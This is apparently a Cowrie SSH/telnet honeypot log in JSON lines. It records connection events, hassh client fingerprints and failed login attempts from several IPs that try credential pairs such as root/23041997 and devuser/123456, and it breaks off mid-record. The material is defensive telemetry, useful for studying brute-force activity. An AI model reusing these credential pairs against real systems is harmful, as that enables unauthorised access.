{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:52:26.145758Z","src_ip":"103.77.175.15","session":"80ba9b67fac9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"23041997","message":"login attempt [root/23041997] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:52:26.826676Z","src_ip":"103.77.175.15","session":"80ba9b67fac9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:52:28.056014Z","src_ip":"103.77.175.15","session":"80ba9b67fac9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":37760,"dst_ip":"159.203.135.109","dst_port":23,"session":"920ea0eccaf5","protocol":"telnet","message":"New connection: 137.184.5.188:37760 (159.203.135.109:23) [session: 920ea0eccaf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:52:29.455533Z"}
{"eventid":"cowrie.session.closed","duration":34.60854721069336,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:04.063974Z","src_ip":"137.184.5.188","session":"920ea0eccaf5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.23","src_port":57074,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe91984be472","protocol":"ssh","message":"New connection: 91.92.40.23:57074 (10.17.0.5:22) [session: fe91984be472]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:08.269878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:08.276261Z","src_ip":"91.92.40.23","session":"fe91984be472","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:08.363383Z","src_ip":"91.92.40.23","session":"fe91984be472","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kim","password":"kim123","message":"login attempt [kim/kim123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:08.645397Z","src_ip":"91.92.40.23","session":"fe91984be472","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:09.874464Z","src_ip":"91.92.40.23","session":"fe91984be472","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.23","src_port":57104,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c71e8b41521","protocol":"ssh","message":"New connection: 91.92.40.23:57104 (10.17.0.5:22) [session: 3c71e8b41521]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:12.265964Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:12.674632Z","src_ip":"91.92.40.23","session":"3c71e8b41521","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:12.677581Z","src_ip":"91.92.40.23","session":"3c71e8b41521","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"123","message":"login attempt [alex/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:14.792403Z","src_ip":"91.92.40.23","session":"3c71e8b41521","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:16.407799Z","src_ip":"91.92.40.23","session":"3c71e8b41521","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.23","src_port":47370,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec0456b2690f","protocol":"ssh","message":"New connection: 91.92.40.23:47370 (10.17.0.5:22) [session: ec0456b2690f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:16.445306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:16.960959Z","src_ip":"91.92.40.23","session":"ec0456b2690f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:16.964223Z","src_ip":"91.92.40.23","session":"ec0456b2690f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.23","src_port":47378,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a26556e96b1","protocol":"ssh","message":"New connection: 91.92.40.23:47378 (10.17.0.5:22) [session: 9a26556e96b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:20.283921Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Reza1234","message":"login attempt [root/Reza1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:20.595731Z","src_ip":"91.92.40.23","session":"ec0456b2690f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:21.138480Z","src_ip":"91.92.40.23","session":"9a26556e96b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:21.141341Z","src_ip":"91.92.40.23","session":"9a26556e96b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:22.740134Z","src_ip":"91.92.40.23","session":"ec0456b2690f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.23","src_port":47388,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7cba77b33cc","protocol":"ssh","message":"New connection: 91.92.40.23:47388 (10.17.0.5:22) [session: a7cba77b33cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:24.224901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:25.283760Z","src_ip":"91.92.40.23","session":"a7cba77b33cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:25.286741Z","src_ip":"91.92.40.23","session":"a7cba77b33cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dneo","password":"dneo","message":"login attempt [dneo/dneo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:25.596762Z","src_ip":"91.92.40.23","session":"9a26556e96b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.23","src_port":32262,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d3e1f51f558","protocol":"ssh","message":"New connection: 91.92.40.23:32262 (10.17.0.5:22) [session: 8d3e1f51f558]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:27.792542Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.236.247.120","src_port":32946,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9f3f3490eb1","protocol":"ssh","message":"New connection: 173.236.247.120:32946 (159.203.135.109:22) [session: a9f3f3490eb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:27.797386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:27.801627Z","src_ip":"173.236.247.120","session":"a9f3f3490eb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:27.815533Z","src_ip":"173.236.247.120","session":"a9f3f3490eb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"satoshi789","message":"login attempt [root/satoshi789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:27.856000Z","src_ip":"173.236.247.120","session":"a9f3f3490eb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.8","message":"Connection lost after 7.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:28.116682Z","src_ip":"91.92.40.23","session":"9a26556e96b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:28.871187Z","src_ip":"173.236.247.120","session":"a9f3f3490eb1","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:29.240509Z","src_ip":"91.92.40.23","session":"8d3e1f51f558","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:29.242534Z","src_ip":"91.92.40.23","session":"8d3e1f51f558","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"123456","message":"login attempt [devuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:30.460649Z","src_ip":"91.92.40.23","session":"a7cba77b33cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.23","src_port":32276,"dst_ip":"10.17.0.5","dst_port":22,"session":"08bec37aac3c","protocol":"ssh","message":"New connection: 91.92.40.23:32276 (10.17.0.5:22) [session: 08bec37aac3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:31.980303Z"}
{"eventid":"cowrie.session.closed","duration":"8.8","message":"Connection lost after 8.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:33.009248Z","src_ip":"91.92.40.23","session":"a7cba77b33cc","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:33.229534Z","src_ip":"91.92.40.23","session":"08bec37aac3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-